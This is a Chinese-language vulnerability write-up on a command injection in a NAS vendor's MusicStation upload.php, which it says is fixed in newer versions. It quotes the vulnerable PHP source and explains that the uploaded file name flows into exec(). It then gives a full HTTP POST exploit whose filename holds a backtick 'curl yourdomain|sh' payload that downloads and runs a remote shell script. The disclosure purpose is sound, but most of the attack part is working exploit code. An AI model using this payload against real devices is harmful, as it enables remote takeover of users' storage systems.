漏洞出在這家NAS厂商的MusicStation upload.php
上传的档案名称可控
而我们知道Linux系統下,档名可以是 "
, '
, |
, `
, ...等
以下是部份Source code:
<?php
require('libs/inc_common.php');
require('libs/class_mediaserver.php');
define('APIName','mymediadbcmd');
$userpremission = Get_User_Permission($SESSION->account);
session_write_close();
$errorcode = array(
'IOError' => 4,
'NoFiletoUpload' => 6,
'NotSupportFile' => 8,
'NoAccessRight' => 10,
'PathError' => 11,
'UpdateError' => 12,
'FormatError' => 13,
'FileExist' => 14,
'PlaylistIDError' => 15,
'OutofQuota' => 16,
'NotLogin' => 98
);
$dbhandle = get_db_connection();
if($dbhandle === false){
_Output($output,array("status"=>0));
}
$mediaserverObj = new mediaserver($dbhandle,$userid,$ms_use_system_account);
$mediaserverObj->userpremission = $userpremission;
//upload temp album/artist art to NAS
$arttype = getHTTPValue('arttype','');//album,artist
if(!empty($arttype)){
$art_upload_temp = MS_CONFIG_FOLDER."arttemp/";
if (!file_exists(art_upload_temp)){
mkdir($art_upload_temp);
chmod($art_upload_temp,0777);
chown($art_upload_temp,99);
chgrp($art_upload_temp,100);
}
$file = $_FILES['singleFile'];
$fileInfo = pathinfo($file['name']);
if(strtolower($fileInfo['extension']) == "jpg" || strtolower($fileInfo['extension']) == "jpeg" || strtolower($fileInfo['extension']) == "png"){
$tempfileid = uniqid($arttype."_");
$temppath = $art_upload_temp.$tempfileid.".".strtolower($fileInfo['extension']);
if(move_uploaded_file($file['tmp_name'],$temppath)){
_Output($output,array("status"=>1,"fid"=>encodeFilePath($tempfileid.".".strtolower($fileInfo['extension']))));
}else{
if(file_exists($file['tmp_name'])){
unlink($file['tmp_name']);
}
_Output($output,array("status"=>0,"errorcode"=>$errorcode['IOError']));
}
}else{
_Output($output,array("status"=>0,"errorcode"=>$errorcode['FormatError'],"fileext"=>$fileInfo['extension']));
}
}
//upload file to playlist
$playlist_id = getHTTPValue('pl_id');
if(!empty($playlist_id) && !is_numeric($playlist_id)){
$playlist_id = decodeFilePath($playlist_id);
if(!is_numeric($playlist_id)){
_Output($output,array("status"=>0,"errorcode"=>$errorcode['PlaylistIDError']));
}
$playlist_info = $mediaserverObj->get_playlist_info($playlist_id);
if(!$playlist_info || count($playlist_info) == 0){
_Output($output,array("status"=>0,"errorcode"=>$errorcode['PlaylistIDError']));
}
}
$upload_same_file_act = getHTTPValue('sf_act','cover');//cover,rename,skip,autorename
if($upload_same_file_act == "rename"){
$new_file_name = getHTTPValue('n_name');
}
$linkid = getHTTPValue('linkid');
if(!empty($linkid)){
if(!is_numeric($linkid)){
$linkid = decodeFilePath($linkid);
if(!is_numeric($linkid)){
$errorcheck = true;
}
}
$sql = "SELECT concat(st.prefix,dir.cFullPath) as cFullPath FROM dirTable AS dir ";
$sql .= "LEFT OUTER JOIN StorageTable AS st ON dir.iStorageId = st.iStorageId ";
$sql .= "WHERE dir.InvalidFlag = 0 AND (dir.ProtectionStatus IN (SELECT ProtectionStatus FROM ACLTable WHERE uid = '".$SESSION->usr_id."' AND rights = 1) OR ProtectionStatus = 0) AND dir.iDirId = ".$linkid;
$result = $dbhandle->query($sql);
if(!$result){
$errorcheck = true;
}else{
$errorcheck = false;
while($row = $mediaserverObj->result_fetcharray($result)){
$uploadfolder = $row["cFullPath"];
}
}
}else{
$target = getHTTPValue('target');
switch($target){
case 'homes':
$errorcheck = false;
$uploadfolder = "/share/".USER_HOMES_PATH.date("Y-m-d")."/";
break;
case 'qsync':
$errorcheck = false;
$uploadfolder = "/share/".USER_HOMES_PATH.".Qsync/".date("Y-m-d")."/";
break;
default:
require_once('libs/class_user.php');
$userdbhandle = new SQLite3(MS_USER_DB_FILE_PATH);
$userObj = new User($userdbhandle);
$result = $userObj->get_one(USR_ID);
if($result){
while($row = $result->fetchArray(SQLITE3_ASSOC)){
$configall = json_decode(stripslashes($row['x_attr']), true);
$config = $configall[APP_NAME];
$defaultUpload = $config["defaultUpload"];
}
}
$errorcheck = false;
if(empty($defaultUpload)){
$uploadfolder = MS_FILE_ROOT."/".date("Y-m-d")."/";
}else{
$defaultUpload = get_full_folder_path($defaultUpload,$SESSION->account);
if(preg_match('/^\/share\//', $defaultUpload)){
$uploadfolder = $defaultUpload."/".date("Y-m-d")."/";
}else{
$uploadfolder = "/share/".$defaultUpload."/".date("Y-m-d")."/";
}
}
}
}
//check cover is ready retry times
$retry = 3;
$mtime = getHTTPValue('mtime','');
if($errorcheck == false){
if(IS_LOGIN === true){
if(!empty($_FILES['singleFile'])){
if(!is_dir($uploadfolder)){
_Output($output,array("status"=>0,"errorcode"=>$errorcode['PathError']));
}
$file = $_FILES['singleFile'];
$fileInfo = pathinfo($file['name']);
if(isSupportFileType($fileInfo['extension'],'audio')){
//do same file action
if(is_file($uploadfolder.$file['name'])){
$temp_file_info = pathinfo($uploadfolder.$file['name']);
switch($upload_same_file_act){
case "cover":
$upload_path = $uploadfolder.$file['name'];
break;
case "rename":
$upload_path = $temp_file_info['dirname']."/".$new_file_name.".".$temp_file_info['extension'];
break;
case "skip":
if(is_file($file['tmp_name'])){
unlink($file['tmp_name']);
}
_Output($output,array("status"=>0,"errorcode"=>$errorcode['FileExist']));
break;
case "autorename":
$i = 1;
$upload_path = $temp_file_info['dirname']."/".$temp_file_info['filename']."(".$i.")".".".$temp_file_info['extension'];
while(is_file($upload_path)){
$i += 1;
$upload_path = $temp_file_info['dirname']."/".$temp_file_info['filename']."(".$i.")".".".$temp_file_info['extension'];
}
break;
}
}else{
$upload_path = $uploadfolder.$file['name'];
}
if(move_uploaded_file($file['tmp_name'],$upload_path)){
change_file_owner_and_group($upload_path,$SESSION->account);
if(!empty($mtime)){
touch($upload_path, strtotime($mtime));
}
unset($returnVar);
unset($returnArray);
$pos = strrpos($uploadfolder, ".Qsync");
if(!$pos){
exec(APIPath.APIName." createfile \"".$upload_path."\"",$returnArray,$returnVar);
}else{
exec(APIPath.APIName." createfile \"".$upload_path."\" 1 0 \"".getClientIP()."\" \"".$SESSION->account."\" \"Music Station\"",$returnArray,$returnVar);
}
$songID = $returnArray[0];
for($i=1;$i<=$retry;$i++){
sleep(2);
if($mediaserverObj->get_cover_is_ready($songID) === true){
break;
}
}
第187和189行
exec(APIPath.APIName." createfile \"".$upload_path."\"",$returnArray,$returnVar);
exec(APIPath.APIName." createfile \"".$upload_path."\" 1 0 \"".getClientIP()."\" \"".$SESSION->account."\" \"Music Station\"",$returnArray,$returnVar);
很明显,这边只要我们能控到$upload_path
或getClientIP()
就能Command Injection
而getClientIP()
虽然可以透过X-Forwarded-For
控制,但最后有个正规表达式限制,绕不过,所以这条路不通
$upload_path
的話,档名和目录都是我们可以控的
最后只要在filename塞
filename="xx\"`curl yourdomain|sh`;\".mp3";
即可執行yourdomain上的shellscript
完整Payload: (session id, host已码)
POST /musicstation/api/upload.php HTTP/1.1
Host: example.com:7766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
X-Requested-With: XMLHttpRequest
Content-Length: 844
Content-Type: multipart/form-data; boundary=---------------------------168952107717519605051051923518
Cookie: QT=1539601409692; showAllAp=true; QMS_SID=xxx; NAS_USER=test; NAS_SID=xxx; home=1; photoStation-action=opened; PHPSESSID=xxx; QTS_SSID=xxx; musicStation-action=opened
Connection: close
-----------------------------168952107717519605051051923518
Content-Disposition: form-data; name="linkid"
MTIzCg==
-----------------------------168952107717519605051051923518
Content-Disposition: form-data; name="sf_act"
cover
-----------------------------168952107717519605051051923518
Content-Disposition: form-data; name="mtime"
Mon, 15 Oct 2018 10:57:52 GMT
-----------------------------168952107717519605051051923518
Content-Disposition: form-data; name="_i"
2
-----------------------------168952107717519605051051923518
Content-Disposition: form-data; name="multipleFiles[]"; filename="xx\"`curl yourdomain|sh`;\".mp3";
Content-Type: audio/mpeg
aaaa
-----------------------------168952107717519605051051923518--
此漏洞在新版MusicStation中已修复